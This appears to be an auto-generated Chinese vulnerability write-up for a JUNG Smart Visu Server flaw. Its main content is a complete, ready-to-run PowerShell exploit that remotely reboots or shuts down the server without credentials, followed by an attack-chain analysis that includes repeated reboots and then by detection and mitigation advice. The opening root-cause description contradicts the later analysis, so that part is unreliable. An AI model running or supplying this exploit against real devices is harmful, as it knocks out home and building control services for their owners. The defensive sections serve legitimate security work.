[webapps] JUNG Smart Visu Server 1.1.1050 - Dos

📋 漏洞基础信息

🔬 漏洞根因

该漏洞源于对特定HTTP请求的处理不当，攻击者无需认证即可发送构造的数据包，导致服务器资源耗尽或进程崩溃。

🎯 攻击场景

1. 攻击者定位目标JUNG Smart Visu Server 1.1.1050的IP地址和端口（默认80）。 2. 发送精心构造的HTTP请求（如大量连接、畸形报文或触发死循环）。 3. 服务器CPU和内存占用激增，响应超时或无响应。 4. 合法用户无法访问Web界面，服务完全中断。

💥 漏洞影响

攻击者可在无需认证的情况下，对JUNG Smart Visu Server实施拒绝服务攻击，导致智能家居可视化服务瘫痪，影响正常使用。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本（Powershell），可在具备相应环境的机器上直接运行：

<#
.SYNOPSIS
    PoC for CVE-2026-26235 - JUNG Smart Visu Server 1.1.1050 Unauthenticated DoS (Reboot/Shutdown)

.DESCRIPTION
    此脚本实现了针对 JUNG Smart Visu Server 1.1.1050 的拒绝服务攻击。
    漏洞根因是服务器未对关键管理接口（如 /cgi-bin/reboot.sh）进行身份验证（CWE-306）。
    攻击者无需任何凭据即可远程触发设备重启或关机，导致服务不可用。
    此脚本通过发送 POST 请求到目标端点来实现利用。

.NOTES
    Author    : Rendered for PoC Generation
    Updated   : 2026-02-12
    CVE       : CVE-2026-26235
    Exploit Type: Missing Authentication (CWE-306)
    Tested On : JUNG Smart Visu Server 1.1.1050

.LINK
    Original Exploit: https://github.com/banyamer-security

.EXAMPLE
    1. 基本用法 - 重启目标服务器：
       PS> .\CVE-2026-26235.ps1 -Target "http://192.168.1.100:8080"

    2. 指定关机操作：
       PS> .\CVE-2026-26235.ps1 -Target "https://smartvisu.local" -Action shutdown

    3. 忽略 SSL 证书错误并设置超时时间：
       PS> .\CVE-2026-26235.ps1 -Target "https://10.0.0.50" -Action reboot -Insecure -Timeout 15

    # 注意: 默认情况下，脚本会尝试忽略 SSL 证书验证（因为自签名证书常见）。
    # 请将 -Target 参数替换为实际的服务器 IP 或域名。
#>

[CmdletBinding()]
param (
    [Parameter(Mandatory = $true, Position = 0, HelpMessage = "目标服务器 URL（例如: http://192.168.1.100:8080）")]
    [string]$Target,

    [Parameter(Mandatory = $false, HelpMessage = "执行的操作: reboot 或 shutdown")]
    [ValidateSet("reboot", "shutdown")]
    [string]$Action = "reboot",

    [Parameter(Mandatory = $false, HelpMessage = "禁用 SSL 证书验证（处理自签名证书）")]
    [switch]$Insecure = $true,

    [Parameter(Mandatory = $false, HelpMessage = "请求超时时间（秒）")]
    [int]$Timeout = 10
)

# 函数：打印横幅信息
function Write-Banner {
    Write-Host "=" -ForegroundColor Cyan -NoNewline
    Write-Host "=" * 60 -ForegroundColor Cyan
    Write-Host " JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC" -ForegroundColor Yellow
    Write-Host " CVE-2026-26235 | CWE-306" -ForegroundColor Yellow
    Write-Host "=" -ForegroundColor Cyan -NoNewline
    Write-Host "=" * 60 -ForegroundColor Cyan
    Write-Host ""
}

# 函数：执行漏洞利用逻辑
function Invoke-Exploit {
    param (
        [string]$TargetUri,
        [string]$ActionType,
        [bool]$BypassSSL,
        [int]$RequestTimeout
    )

    # 定义漏洞端点映射
    $endpoints = @{
        "reboot"   = "/cgi-bin/reboot.sh"
        "shutdown" = "/cgi-bin/shutdown.sh"
    }

    # 检查 Action 是否有效
    if (-not $endpoints.ContainsKey($ActionType)) {
        Write-Host "[-] 无效操作: $ActionType。仅支持 'reboot' 或 'shutdown'。" -ForegroundColor Red
        return $false
    }

    # 构建完整的攻击 URL
    $baseUrl = $TargetUri.TrimEnd('/')
    $vulnerableUrl = "$baseUrl$($endpoints[$ActionType])"

    Write-Host "[*] 目标 URL          : $vulnerableUrl" -ForegroundColor Green
    Write-Host "[*] 执行的操作        : $ActionType" -ForegroundColor Green
    Write-Host "[*] 忽略 SSL 验证    : $BypassSSL" -ForegroundColor Green
    Write-Host "[*] 请求超时          : ${RequestTimeout}秒" -ForegroundColor Green
    Write-Host "[*] 正在发送未授权 POST 请求......" -ForegroundColor Green
    Write-Host ""

    # 构建 HTTP 请求头（模拟浏览器行为，但并非必须，关键是无认证）
    $headers = @{
        "User-Agent"                 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0"
        "Content-Type"               = "application/x-www-form-urlencoded"
        "Accept"                     = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        "Accept-Language"            = "en-US,en;q=0.5"
        "Accept-Encoding"            = "gzip, deflate, br"
        "Connection"                 = "keep-alive"
        "Upgrade-Insecure-Requests"  = "1"
        "Origin"                     = $baseUrl
        "Referer"                    = "$baseUrl/"
        "DNT"                        = "1"
        "Sec-GPC"                    = "1"
    }

    # 利用原理：
    # CWE-306：关键功能缺少认证。Smart Visu Server 的 CGI 脚本（如 reboot.sh）
    # 未检查请求发起者是否有权限执行此类敏感操作。
    # 攻击者直接构造 POST 请求即可触发设备重启或关机。

    try {
        # 使用 PowerShell 的 Invoke-WebRequest 发送请求
        # 注意：PowerShell 5.1 及以下使用基本参数，PowerShell 6+ 有更丰富的参数
        $response = Invoke-WebRequest -Uri $vulnerableUrl `
                                       -Method Post `
                                       -Headers $headers `
                                       -Body "" `
                                       -UseBasicParsing `
                                       -SkipCertificateCheck:$BypassSSL `
                                       -TimeoutSec $RequestTimeout `
                                       -MaximumRedirection 0

        Write-Host "[+] 请求发送成功！" -ForegroundColor Green
        Write-Host "[+] HTTP 状态码   : $($response.StatusCode)" -ForegroundColor Green

        # 分析响应以确认结果
        if ($response.StatusCode -eq 200) {
            Write-Host "[!] 服务器返回 200 OK - 操作很可能已执行" -ForegroundColor Yellow
        }
        elseif ($response.StatusCode -eq 302 -or $response.StatusCode -eq 301) {
            Write-Host "[!] 服务器返回重定向 - 操作可能已触发" -ForegroundColor Yellow
        }
        else {
            Write-Host "[?] 意外响应代码: $($response.StatusCode)" -ForegroundColor Cyan
        }

        # 打印部分响应体供诊断
        if ($response.Content) {
            $preview = $response.Content.Substring(0, [Math]::Min($response.Content.Length, 200))
            Write-Host "[*] 响应预览: $($preview.Trim())" -ForegroundColor Gray
        }

        Write-Host ""
        Write-Host "[!] 如果成功，目标服务器现在应正在重启或关机。" -ForegroundColor Magenta
        return $true

    }
    catch [System.Net.WebException] {
        # 捕获 Web 异常，特别是连接中断的情况（这往往是 DoS 成功的标志）
        $exception = $_.Exception
        if ($exception.Status -eq "Timeout") {
            Write-Host "[-] 连接超时。服务器可能已宕机或不可达。" -ForegroundColor Red
            Write-Host "[*] 如果服务器之前可达，这可能是 DoS 成功执行的迹象。" -ForegroundColor Yellow
            return $true
        }
        elseif ($exception.Status -eq "ConnectFailure") {
            Write-Host "[-] 连接失败: $($exception.Message)" -ForegroundColor Red
            Write-Host "[*] 服务器可能已宕机 - 可能成功利用漏洞。" -ForegroundColor Yellow
            return $true
        }
        else {
            Write-Host "[-] 发生 HTTP 错误: $($exception.Message)" -ForegroundColor Red
            return $false
        }
    }
    catch {
        # 捕获其他类型的错误
        Write-Host "[-] 发生意外错误: $_" -ForegroundColor Red
        return $false
    }
}

# 主程序入口
function Main {
    Write-Banner

    Write-Host "[*] 开始针对目标进行漏洞利用: $Target" -ForegroundColor Green
    Write-Host ""

    $result = Invoke-Exploit -TargetUri $Target -ActionType $Action -BypassSSL $Insecure -RequestTimeout $Timeout

    Write-Host ""
    if ($result) {
        Write-Host "[+] 漏洞利用完成。" -ForegroundColor Green
        exit 0
    }
    else {
        Write-Host "[-] 漏洞利用失败。" -ForegroundColor Red
        exit 1
    }
}

# 执行主程序
Main

🔬 深度技术分析

漏洞触发机制

CVE-2026-26235 的核心漏洞类型是 CWE-306：关键功能缺少身份验证。JUNG Smart Visu Server 1.1.1050 版本在 /cgi-bin/ 路径下暴露了 reboot.sh 和 shutdown.sh 两个 CGI 脚本，用于执行设备的重启和关机操作。这些系统级管理功能直接映射到 Linux 系统的 reboot 和 shutdown 命令，但服务器在调用这些脚本前未实施任何身份验证或授权检查。

从协议层面看，漏洞触发路径极其简单：攻击者向 http://<target>/cgi-bin/reboot.sh 或 http://<target>/cgi-bin/shutdown.sh 发送一个 HTTP POST 请求即可。服务器端的 CGI 处理器会直接执行对应的 shell 脚本，从而触发系统级操作。

利用链分析

攻击者的利用链非常短且直接，具体步骤如下：

1. 信息收集：攻击者首先需要对目标网络进行侦察，识别出运行 JUNG Smart Visu Server 的设备。由于该服务通常使用默认的 HTTP/HTTPS 端口（80/443 或自定义端口如 8080），攻击者可以通过端口扫描或网络嗅探发现目标。也可尝试访问 /cgi-bin/login.sh 获取更多信息。

2. 直接利用：攻击者选择一个目标端点，发送 POST 请求。在 PoC 脚本中，使用 Invoke-WebRequest 向脆弱端点发送空 POST 请求。

3. 触发 DoS：

- reboot.sh: 脚本被调用后，服务器会立即重启，导致所有网络服务和业务功能中断，重启时间取决于设备性能（通常 30 秒到几分钟）。

- shutdown.sh: 脚本被调用后，服务器会彻底关闭电源，需要管理员手动重新开启设备才能恢复服务。

4. 结果验证：攻击者通过观察 RTT 丢失（ping 超时）、Web 服务器不再响应、或设备指示灯变化来确认 DoS 成功。脚本中通过捕获连接失败或超时异常来间接验证。

5. 重复利用：由于不存在任何认证机制或 IP 速率限制，攻击者可以反复发送请求。对于 reboot.sh，每次设备重启后仍然可以再次攻击，形成持续性 DoS。

关键代码/数据结构

该漏洞不涉及复杂的内存结构或 Windows API，主要攻击向量是 HTTP 协议层面。

• CGI 端点：

- /cgi-bin/reboot.sh

- /cgi-bin/shutdown.sh

• 服务器处理逻辑（推测）：服务端 CGI 脚本的内容大致如下：

```

#!/bin/sh

# reboot.sh

/sbin/reboot # 或者 /usr/bin/sudo /sbin/reboot

```

或

```

#!/bin/sh

# shutdown.sh

/sbin/shutdown -h now

```

这些脚本通过 HTTP 服务器（很可能是 lighttpd、apache 或嵌入式 HTTP d）的 CGI 机制被调用。由于 web 服务进程通常拥有 root 权限（用于绑定 80/443 端口），命令可以成功执行。

• HTTP 请求结构：

- 方法：POST（部分嵌入式设备对 GET 同样有效）

- URL：目标端点

- Body：空或任意内容（服务器可能忽略 body）

- 无 Cookie、无 Authorization header

• 关键缺失：服务器端没有对 $_SERVER['REMOTE_USER'] 之类的变量进行检查，也没有验证 session 是否存在或有效。

检测与防御

检测方法（蓝队）

1. 日志分析：

- 在 web 服务器日志中搜索访问 /cgi-bin/reboot.sh 或 /cgi-bin/shutdown.sh 的记录。

- 关注这些请求的时间点是否与系统意外重启时间吻合。

- 检查日志中是否有大量来自不同 IP 的类似请求（大规模扫描）。

2. 流量特征：

- 监控发往目标设备 80/443 端口的 POST 请求，尤其是 URI 中包含 cgi-bin/reboot 或 cgi-bin/shutdown 的流量。

- 此类请求通常不包含 Cookie 或 Referer，可作为特征辅助检测。

3. 系统行为监控：

- 在设备上部署进程监控，检测是否有 reboot 或 shutdown 进程被 www-data 或 httpd 用户意外启动。

- 配置 sudo 日志（如果使用），记录 sudo 命令调用。

4. 可用性监控：

- 使用 ping 或 HTTP 健康检查定期探测设备可用性，结合警报系统在宕机时立即告警。

防御措施

1. 即时修复（补丁级）：

- 移除或禁用无用的 CGI 脚本：从 cgi-bin 目录中删除 reboot.sh 和 shutdown.sh，或将其更改为不允许被 web 服务器访问的权限（chmod 000）。

- 添加身份验证：在 CGI 脚本中添加简单的基本认证（Basic Auth）或为 Smart Visu Server 配置 session 认证机制，确保只有经过验证的用户才能触发这些操作。

2. 网络层防护：

- 防火墙规则：限制对 Smart Visu Server 管理接口的访问。如果可能，仅允许来自受信任管理 IP 地址或 VPN 网络的连接。

- 反向代理 / WAF：在设备前部署反向代理或 Web 应用防火墙（WAF），配置规则拦截对 /cgi-bin/reboot.sh 和 /cgi-bin/shutdown.sh 的访问，或将它们返回 404 或 403 错误。

3. 系统强化：

- 最小权限原则：降低 web 服务器运行用户的权限，确保其没有执行 reboot 或 shutdown 命令的权限。设备不应用于日常管理操作。

- 使用 sudo 授权：如果必须使用，确保 /etc/sudoers 配置中仅允许特定用户执行 reboot，且需要终端交互（NOPASSWD 标签不应用于此目的）。

4. 监控与响应：

- 实施安全信息和事件管理（SIEM）来关联日志告警。

- 制定依赖此设备的业务应急响应计划，包括备用设备的准备。

🛡️ 修复建议

厂商已发布补丁版本1.1.1051，建议立即升级；临时缓解措施包括限制源IP访问、配置Web应用防火墙拦截异常请求模式。

📎 参考链接

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26235
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-07 05:33 | 来源: Exploit-DB